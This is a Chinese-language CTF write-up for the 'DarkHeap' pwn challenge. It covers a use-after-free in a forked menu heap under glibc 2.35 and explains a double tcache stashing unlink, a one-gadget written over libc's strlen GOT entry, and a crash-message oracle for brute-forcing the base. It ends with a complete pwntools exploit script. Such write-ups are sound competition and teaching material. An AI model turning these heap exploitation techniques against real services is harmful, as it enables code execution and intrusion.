- 题面
题目名:DarkHeap
附件:
- 分析
checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Glibc 2.35。
main
函数中,我们可以在子进程中执行sub_1620
至多256次,而当子进程返回值非零时父进程立刻退出。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // eax
_BYTE stat_loc[20]; // [rsp+4h] [rbp-14h] BYREF
*(_QWORD *)&stat_loc[4] = __readfsqword(0x28u);
sub_1370(a1, a2, a3);
do
{
sub_1680();
v3 = fork();
if ( v3 == -1 )
_exit(1);
if ( !v3 )
sub_1620();
wait((__WAIT_STATUS)stat_loc);
if ( (stat_loc[0] & 0x7F) == 0 )
goto LABEL_8;
++dword_4040[0];
}
while ( dword_4040[0] <= 255 );
sub_1340("Sorry, there has been an exception in the program. Please try again later.");
LABEL_8:
_exit(0);
}
ssize_t __fastcall sub_1340(const char *buf)
{
size_t v1; // rax
ssize_t result; // rax
v1 = strlen(buf);
result = write(1, buf, v1);
if ( result == -1 )
_exit(1);
return result;
}
本题的sub_1340
作为打印函数直接调用write
。
sub_1620
是一个非常常规的菜单堆,我们可以
- add:在0~15的范围内挑选一个索引
i
,malloc
分配一个堆块chunks[i] = malloc(size); sizes[i] = size;
,0 <= size && size <= 0x1500
。 - delete:在0~15的范围内挑选一个索引
i
,堆块指针非零时free(chunks[i]);
,不清零指针。 - edit:在0~15的范围内挑选一个索引
i
,堆块有效时read(0, chunks[i], sizes[i]);
。
delete功能中有一个非常明显的UAF漏洞。
- First Stage
自然是考虑通过劫持tcache完成libc中的任意写。我们可以利用tcache stashing unlink这个一直到2.41都没有修复的漏洞,通过篡改从small_bin->bk
开始往前数第七个堆块的bk
指针,往tcache上写入一个libc中small bin头的地址,顺便把一个tcache上的地址放进tcache,于是我们只需要布置好需要的指针与堆块,便可以通过tcache完成libc中的任意写了。
然而,在stashing的过程中,原本写好的libc地址又会被破坏掉(写入next
指针)。因此,我们需要第二次tcache stashing unlink,这一次需要篡改从small_bin->bk
开始往前数第八个堆块的bk
指针,此外还需要第九个堆块垫在前面提供堆地址。由于一次性最多只能操控16个堆块(刚好是7 × tcache bin chunk + 8 × small bin chunk + 1 × guard chunk),因此我们需要通过重叠构造出伪堆块,然后将其释放,dump到small bin中来补充缺失的第九个堆块。
注:好像也不需要,small bin chunk放在tcache bin chunk前面就行了。但是如果这个题只有15个堆块的话或许就需要了 :)
- Second Stage
通过篡改libc地址的低位,再从tcache bin中分配堆块,我们便可以实现libc中的任意写。然而,我们无法在sub_1620
中触发_IO_FILE
相关的操作。因此,笔者想到的方法是篡改libc GOT表中的__strlen_avx2@got
为某个one gadget,在malloc_printerr -> __libc_message
中调用__strlen_avx2
时触发one gadget获得shell。



但是这样一来,我们就需要\( 16^4 = 65536 \)次穷举。考虑到父子进程的各种基址都是一样的,配合父进程的爆破起码也需要256次,稳定性较低。
注意到main
函数中的sub_1680
:
__int64 sub_1680()
{
return sub_1340("------DarkHeap------\n");
}
这意味着每次子进程中途(因为基址猜错)崩溃重启的时候,我们都能收到一串"------DarkHeap------\n"
。我们从0开始枚举libc基址的第16~23比特位,由于GOT表所在的可写段是\(2^{24}\)字节范围内的唯一一个可写段,而GOT表刚好又在这个可写段的开头,因此子进程第一次成功写入而不报段错误的时候我们就已经猜对了。因此结合子进程报错时发送的消息——如段错误时无消息,没有段错误但未命中GOT表时出现的malloc_printerr
报错,命中GOT表时的沉默——我们可以通过一次0~255的扫描确定libc基址的第16~23比特位,然后通过一次0~15的扫描确定12~15比特位,加上对堆基址12~15比特位的碰撞,利用成功的概率大约为\( \frac{1}{16} \)。
- FINAL EXPLOIT
from pwn import *
context(log_level = 'info', arch = 'amd64', os = 'linux')
def opt(num):
r.sendafter(b'Choice:', str(num).encode())
def add(index, size):
opt(1)
r.sendafter(b'Index:', str(index).encode())
r.sendafter(b'Size:', str(size).encode())
def edit(index, content):
opt(2)
r.sendafter(b'Index:', str(index).encode())
if not r.sendafter(b'Content:', content, timeout=3):
raise TimeoutError
def delete(index):
opt(3)
r.sendafter(b'Index:', str(index).encode())
printres = lambda index, nibbles, res: print('\x1b[34;1mReceived:\x1b[0m %3d, %03x, \x1b[33;1m%s\x1b[0m' % (index, nibbles, str(res)))
heap_delta = lambda: heap_nibble_3 << 12
libc_delta = lambda: libc_nibble_3_5 << 12
banner = b'------DarkHeap------'
class G:
def __init__(self, a):
self.a = a
def n(self, x):
if not x:
if self.a[0] >= 255:
if self.a[1] < 15:
self.a[1] += 1
else:
return False
else:
self.a[0] += 1
else:
if self.a[1] >= 15:
if self.a[0] < 255:
self.a[0] += 1
else:
return False
else:
self.a[1] += 1
return True
while 1:
try:
r = process('./DarkHeap')
heap_nibble_3 = 0xb
libc_nibble_4_5 = 0
libc_nibble_3 = 0
g = G([libc_nibble_4_5, libc_nibble_3])
index = -1
while 1: # 1/16 succ rate theoretically
index += 1
libc_nibble_3_5 = g.a[0] << 4 | g.a[1]
add(7, 0x108)
add(8, 0x118)
for i in range(7):
add(i, 0x88)
delete(7)
delete(8)
for i in range(7, 15):
add(i, 0x88)
add(0xf, 0x10)
for i in range(15):
delete(i)
add(0xf, 0x1500)
add(2, 0x1500)
delete(0xf)
edit(0xd, p64(0) + p16(heap_delta() + 0x90 + 8*(0x100-0x20)//16 - 0x10))
for i in range(8):
add(i, 0x88)
for i in range(7):
add(i, 0x98)
for i in range(7, 15):
add(i, 0x98)
add(0xf, 0x10)
for i in range(15):
delete(i)
add(0, 0x4f8)
delete(0)
add(1, 0xb8)
add(2, 0x500-0xc0-8)
edit(0, b'\0'*0xb8 + p64(0xa1) + b'\0'*0x98 + p64(0xa1) + b'\0'*0x98 + p64(0xa1))
delete(2)
add(0xf, 0x128)
edit(0xe, p64(0) + p16(heap_delta() + 0x90 + 8*(0x120-0x20)//16 - 0x10))
for i in range(8):
add(i, 0x98)
res = r.recvline() + r.recvline() + r.recvline()
add(0, 0x88)
if b'free()' in res:
printres(index, libc_nibble_3_5, res)
assert g.n(1)
g.a[0] -= 1
continue
elif banner in res:
printres(index, libc_nibble_3_5, res)
assert g.n(0)
continue
edit(0, p64(0)*2 + p32(libc_delta() + 0x21a080)[:3])
add(1, 0x118)
res = r.recvline() + r.recvline() + r.recvline()
if b'free()' in res:
printres(index, libc_nibble_3_5, res)
assert g.n(1)
g.a[0] -= 1
continue
elif banner in res:
printres(index, libc_nibble_3_5, res)
assert g.n(0)
continue
edit(1, p64(0)*3 + p32(libc_delta() + 0xebd38)[:3])
add(3, 0xb8)
delete(3)
delete(3)
res = r.recvuntil(banner, timeout=3)
if b'free()' in res:
printres(index, libc_nibble_3_5, res)
assert g.n(1)
g.a[0] -= 1
continue
elif banner in res:
printres(index, libc_nibble_3_5, res)
assert g.n(0)
continue
r.interactive()
break
else:
continue
break
except (EOFError, TimeoutError, AssertionError):
r.close()
continue